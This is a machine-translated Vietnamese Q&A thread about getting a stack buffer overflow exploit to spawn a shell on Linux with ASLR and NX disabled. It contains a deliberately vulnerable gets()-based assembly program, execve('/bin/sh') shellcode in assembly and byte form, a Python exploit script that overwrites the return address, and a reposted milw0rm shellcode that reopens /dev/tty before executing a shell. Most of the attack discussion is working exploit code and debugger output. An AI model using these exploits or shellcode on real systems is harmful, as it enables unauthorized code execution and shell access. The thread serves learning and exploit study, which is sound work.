2010-05-18 22 views
15

Tôi đã chơi xung quanh với tràn bộ đệm trên Linux (amd64) và cố gắng khai thác một chương trình đơn giản nhưng không thành công. Tôi vô hiệu hóa các tính năng bảo mật (ngẫu nhiên bố trí không gian địa chỉ với sysctl -w kernel.randomize_va_space = 0 và bit nx trong bios). Nó nhảy vào ngăn xếp và thực hiện shellcode, nhưng nó không bắt đầu một shell. Các syscall thực hiện thành công nhưng sau đó nó chỉ chấm dứt. Bất kỳ ý tưởng gì là sai? Chạy shellcode độc ​​lập hoạt động tốt.Shellcode cho một tràn ngăn xếp đơn giản: Chương trình được khai thác với shell chấm dứt trực tiếp sau khi thực thi ("/ bin/sh")

Câu hỏi về tiền thưởng: Tại sao tôi cần đặt rax thành 0 trước khi gọi printf? (Xem comment trong code)

dễ bị tổn thương tập tin buffer.s:

.data 
.fmtsp: 
.string "Stackpointer %p\n" 
.fmtjump: 
.string "Jump to %p\n" 
.text 
.global main 
main: 
    push %rbp 
    mov %rsp, %rbp 

    sub $120, %rsp 

    # calling printf without setting rax 
    # to zero results in a segfault. why? 
    xor %rax, %rax 
    mov %rsp, %rsi 
    mov $.fmtsp, %rdi 
    call printf 

    mov %rsp, %rdi 
    call gets 

    xor %rax, %rax 
    mov $.fmtjump, %rdi 
    mov 8(%rbp), %rsi 
    call printf 

    xor %rax, %rax 
    leave 
    ret 

shellcode.s

.text 
.global main 
main: 
    mov $0x68732f6e69622fff, %rbx 
    shr $0x8, %rbx 
    push %rbx 
    mov %rsp, %rdi 
    xor %rsi, %rsi 
    xor %rdx, %rdx 
    xor %rax, %rax 
    add $0x3b, %rax 
    syscall 

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" 
stackpointer = "\x7f\xff\xff\xff\xe3\x28" 
output = shellcode 
output += 'a' * (120 - len(shellcode)) # fill buffer 
output += 'b' * 8 # override stored base pointer 
output += ''.join(reversed(stackpointer)) 
print output 

Biên soạn với:

$ gcc -o buffer buffer.s 
$ gcc -o shellcode shellcode.s 

Bắt đầu với:

$ python exploit.py | ./buffer 
Stackpointer 0x7fffffffe328 
Jump to 0x7fffffffe328 

Debugging với gdb:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) 
$ gdb buffer 
(gdb) run < exploit.txt 
Starting program: /home/henning/bo/buffer < exploit.txt 
Stackpointer 0x7fffffffe308 
Jump to 0x7fffffffe308 
process 4185 is executing new program: /bin/dash 

Program exited normally. 
+0

Tôi giả sử% rsi% là argv. Nó có thể là NULL? –

+0

Thực thi shellcode trực tiếp ("$ ./shellcode") hoạt động, vì vậy tôi giả định rằng nó không phải là vấn đề. Tương đương C #include void main() {execve ("/ bin/sh", NULL, NULL); } cũng khởi động trình bao. – henning

+0

Lỗi bạn nhận được là gì? Bạn có thể hình dung ra (tôi cho rằng nó là% rax%)? –

Trả lời

10

Tôi đang gặp khá nhiều vấn đề tương tự ngay bây giờ với Ubuntu 9.10 trong một VM. Vô hiệu hóa tất cả các phép đo bảo mật của hệ điều hành, và khai thác đơn giản như "thoát khỏi chương trình và thiết lập exit-code đến 42" làm việc, nhưng khi cố gắng để mở một trình bao, chương trình chỉ chấm dứt. Kết quả đầu ra của gdb giống hệt nhau:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 

Enter password: Sorry. Wrong password. 
Executing new program: /bin/bash 

Program exited normally. 
(gdb)

Thing là, tôi cần nó hoạt động trong khoảng. 16 giờ cho một bài thuyết trình :-D


Cập nhật: tôi thấy nghiên cứu gọn gàng này: www.shell-storm.org/papers/files/539.pdf

Trên trang 16 nó nói: "Nếu chúng tôi cố gắng thực hiện một trình bao, nó sẽ chấm dứt ngay lập tức trong cấu hình này"

Trong các ví dụ khác không sử dụng hàm get(), chúng thực hiện rất tốt trình bao. Thật không may, họ không đưa ra một gợi ý về TẠI SAO nó không hoạt động theo cách đó. :(


Cập nhật tiếp theo: Có vẻ như nó đã làm với stdin Vỏ không thể sử dụng đúng một nó nhận được từ quá trình ban đầu tôi đã cố gắng sử dụng một lớp vỏ tối thiểu tôi thấy sourcecode cho (evilsh).. . nó bị rơi tại điểm mà nó đã cố gắng để đọc dữ liệu vào. tôi đoán là, rằng séc bash/dash cho điều này và chỉ âm thầm thoát khi có điều gì là sai với stdin.


Ok xin đừng giết tôi vì có cuộc trò chuyện với chính tôi ở đây, nhưng ...

Tôi đã tìm thấy giải pháp!

Vì lý do nào đó, cần phải mở lại các đầu vào. Tôi tìm thấy một shellcode làm việc ở đây:

http://www.milw0rm.com/shellcode/2040

Tôi không thấy một khó khăn nhanh chóng, nhưng tôi có thể chạy các chương trình, vv bằng cách sử dụng vỏ mở ra.

+2

Theo quan điểm khiêm tốn của tôi, stdin phải được mở lại trong shellcode vì shell đọc "end-of-file" từ exploit.txt từ stdin được chia sẻ. Nói cách khác, khi trình bao bắt đầu, bộ đệm của stdin chứa "end-of-file" bởi vì stdin được chia sẻ giữa shell và chương trình gốc. – feirainy

1

Các liên kết được cung cấp bởi Zenoc là đã chết, nhưng vẫn có thể được tìm thấy trong máy Wayback. Để thuận tiện, tôi đã sao chép nó bên dưới. Tôi đã phải bao gồm add $0x10,%esp ở trên cùng để cung cấp cho tôi nhiều không gian ngăn xếp hơn, vì tất cả các push es trong mã được ăn vào bộ đệm nơi shellcode của tôi được lưu trữ. Nếu bạn muốn bao gồm nó vào shellcode quá, chỉ cần thêm "\ x83 \ xc4 \ x10" để bắt đầu. Mã shell là 55 byte mà không có sự bổ sung của tôi, và 58 với.

/* 
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ 
* 
* gets-linux.c - stdin re-open shellcode for Linux/x86 
* Copyright (c) 2003 Marco Ivaldi <[email protected]> 
* 
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh. 
* Useful to exploit some gets() buffer overflows in an elegant way... 
*/ 

/* 
* close(0) 
* 
* 8049380:  31 c0     xor %eax,%eax 
* 8049382:  31 db     xor %ebx,%ebx 
* 8049384:  b0 06     mov $0x6,%al 
* 8049386:  cd 80     int $0x80 
* 
* open("/dev/tty", O_RDWR | ...) 
* 
* 8049388:  53      push %ebx 
* 8049389:  68 2f 74 74 79   push $0x7974742f 
* 804938e:  68 2f 64 65 76   push $0x7665642f 
* 8049393:  89 e3     mov %esp,%ebx 
* 8049395:  31 c9     xor %ecx,%ecx 
* 8049397:  66 b9 12 27    mov $0x2712,%cx 
* 804939b:  b0 05     mov $0x5,%al 
* 804939d:  cd 80     int $0x80 
* 
* execve("/bin/sh", ["/bin/sh"], NULL) 
* 
* 804939f:  31 c0     xor %eax,%eax 
* 80493a1:  50      push %eax 
* 80493a2:  68 2f 2f 73 68   push $0x68732f2f 
* 80493a7:  68 2f 62 69 6e   push $0x6e69622f 
* 80493ac:  89 e3     mov %esp,%ebx 
* 80493ae:  50      push %eax 
* 80493af:  53      push %ebx 
* 80493b0:  89 e1     mov %esp,%ecx 
* 80493b2:  99      cltd 
* 80493b3:  b0 0b     mov $0xb,%al 
* 80493b5:  cd 80     int $0x80 
*/ 

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80" 
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80" 
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 

main() 
{ 
    int (*f)() = (int (*)())sc; f(); 
} 

// milw0rm.com [2006-07-20] 

Lưu ý: Tôi không thể thêm điều này làm chỉnh sửa cho câu trả lời của Zenoc vì hàng chỉnh sửa đã đầy.

Nếu bạn gặp khó khăn khi xác định địa chỉ của shellcode do các ngăn xếp khác nhau trong terminal và gdb, hãy xem câu trả lời của tôi here.

Các vấn đề liên quan